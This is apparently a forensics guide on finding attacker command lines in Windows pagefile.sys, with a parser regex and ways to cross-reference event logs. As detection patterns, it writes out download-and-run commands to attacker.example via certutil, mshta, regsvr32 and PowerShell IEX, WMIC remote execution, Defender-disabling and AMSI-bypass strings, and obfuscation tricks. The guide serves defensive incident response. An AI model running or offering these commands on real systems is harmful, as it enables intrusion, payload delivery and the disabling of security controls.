Detecting malware command lines in pagefile.sys

When an attacker runs anything on a Windows host, the command line sits in memory for as long as the parent process holds it, and often longer in caches: Sysmon event buffers, cmd.exe history, kernel RTL_USER_PROCESS_PARAMETERS blocks, the AMSI buffer, the PowerShell host's internal state. When any of those pages cools and gets evicted, the command line ends up in pagefile.sys in the clear.

This is the artifact that keeps paying back. Even on engagements where the EVTX channels were cleared, Sysmon was off, and 4688 command-line auditing was never enabled, I have pulled full PowerShell encoded payloads out of a pagefile capture and walked them back to the dropper.

The LOLBin shortlist

The Windows binaries attackers reach for most often, all of which produce characteristic command-line shapes:

Binary	Why attackers use it
`powershell.exe` / `pwsh.exe`	Scripting, encoded payloads, AMSI bypass tricks
`cmd.exe`	Shell access, piping, simple downloaders
`certutil.exe`	`-urlcache -split -f` for download; `-decode` for base64
`bitsadmin.exe`	`transfer myjob /download` for download via BITS
`mshta.exe`	Executes HTA / JScript / VBS from a URL
`rundll32.exe`	Loads arbitrary DLL, executes a named export
`regsvr32.exe`	"Squiblydoo": `/s /i:http://.../payload.sct scrobj.dll`
`wmic.exe`	`process call create`, lateral movement
`wscript.exe` / `cscript.exe`	VBS and JScript execution
`installutil.exe`	.NET InstallUtil bypass of AppLocker
`msbuild.exe`	Inline-task execution of arbitrary C#

PowerShell patterns

PowerShell is the single biggest source of attacker command lines I see in pagefile carves. The shapes to grep for:

powershell.exe -nop -w hidden -enc <base64>
powershell -ExecutionPolicy Bypass -File C:\...
powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://...')"
powershell -EncodedCommand <base64>
pwsh -nop -ep bypass -c "..."

-EncodedCommand is the most useful single token in the entire artifact. The payload is base64-encoded UTF-16LE. Decode with:

echo "<base64>" | base64 -d | iconv -f UTF-16LE -t UTF-8

The parser on this site grabs up to 256 characters after the powershell token, which is usually enough to capture the full -enc payload, even when it has been chunked across page boundaries.

Other PowerShell tells worth a string sweep:

[System.Net.WebClient], Net.WebClient, DownloadString, DownloadFile.
Invoke-Expression, IEX, iex.
[System.Reflection.Assembly]::Load, [Reflection.Assembly]::Load. Reflective .NET loading.
[Convert]::FromBase64String. Nearly always followed by a payload.
AmsiUtils, amsiInitFailed. AMSI bypass attempts.
Set-MpPreference -DisableRealtimeMonitoring. Defender disable.
Add-MpPreference -ExclusionPath. Defender exclusion, often pointing at the attacker staging directory.

certutil downloaders

A classic file-download pattern that still shows up in 2026:

certutil.exe -urlcache -split -f http://attacker.example/payload.exe out.exe
certutil -urlcache -split -f https://... encoded.b64
certutil -decode encoded.b64 out.exe

certutil is Microsoft-signed and pre-installed everywhere, which is why it never went out of fashion. Grep for certutil in the Strings tab, or filter for -urlcache.

bitsadmin downloaders

bitsadmin /transfer myjob /download /priority high http://... C:\Users\Public\x.exe

Less common in modern intrusions but still seen on older malware families and on hosts where PowerShell logging is too noisy for the attacker's taste.

mshta and HTA payloads

mshta.exe http://attacker.example/p.hta
mshta vbscript:CreateObject("Wscript.Shell").Run("...")
mshta javascript:...

The inline vbscript: and javascript: variants execute without touching disk. They live entirely in mshta's process memory until the host exits. Grep for mshta then read the surrounding bytes carefully.

rundll32 and DLL sideloading

rundll32.exe shell32.dll,#61 "C:\..."
rundll32.exe C:\Users\Public\evil.dll,DllMain
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();...

Legitimate rundll32 calls usually reference a Microsoft DLL by name or use a numeric ordinal into one. Anything loading from %TEMP%, %PUBLIC%, %PROGRAMDATA% outside known-vendor subdirs, or a user profile is worth a closer look. Cross-reference paths with Prefetch and the USN journal.

regsvr32 "Squiblydoo"

regsvr32 /s /n /u /i:http://attacker.example/payload.sct scrobj.dll

A Microsoft-signed binary loading a remote scriptlet over HTTP(S). Search for regsvr32 paired with http. Legitimate use never has a URL.

WMIC for lateral movement

wmic /node:target process call create "powershell -enc ..."
wmic process where name='lsass.exe' get processid

wmic /node: is a lateral-movement smoking gun on workstations. On servers it can be legitimate, so check the source and timing. Pair with the EVTX Microsoft-Windows-WMI-Activity%4Operational.evtx channel for the consumer side.

Living-off-the-land obfuscation

Real attackers obfuscate. The tricks that still leave readable fragments in pagefile:

Reversed strings: ('xeotuper' | ForEach-Object {...}). Read the string backwards.
Char-code arrays: [char[]](0x70,0x6f,0x77,...). Decode to ASCII.
String concatenation: "po" + "wer" + "shell". Both halves end up as decoded strings in the same heap region.
Environment variable substitution: %comspec% /c ..., %PSEXEC%.
Case alternation: PoWeRsHeLl. Case-insensitive grep solves it.
Format-string evaluation: "{1}{0}" -f "ershell","pow". The expanded string usually appears nearby in memory.

The pattern: the obfuscation hides the invocation. It rarely hides the evaluated string, because the runtime has to materialise the actual command at some point and that materialised string lives in memory long enough to get paged.

Cross-referencing with timestamps

A pagefile has no timestamps. To anchor a finding:

Match the command line against Microsoft-Windows-Sysmon%4Operational.evtx Event ID 1.
Match against Microsoft-Windows-PowerShell%4Operational.evtx 4104 (script block logging) for the deobfuscated PowerShell source.
Match against Security.evtx 4688 if process-creation auditing with command lines was enabled.
If none of those exist, walk AmCache, Prefetch, SRUM, and the USN journal for execution evidence and tie back via the file path inside the command line.

The reverse pivot is sometimes more useful. Find the binary path in pagefile, then go to the EVTX channels for the timestamps. Either direction gets you the same finding.

What the regex catches

The command regex in this parser matches up to 256 characters following any of: cmd.exe, powershell / pwsh, wscript.exe, cscript.exe, rundll32.exe, mshta.exe, regsvr32.exe, certutil.exe, bitsadmin.exe. Case-insensitive. That covers the bulk of practical tradecraft.

For the rest, wmic, installutil, msbuild, vssadmin delete shadows, nltest, net1 user, drop into the Strings tab and grep manually. Statistical density tends to drop you near the cluster of strings the process was working with at eviction time, so reading 50 lines either side of a hit usually surfaces the rest.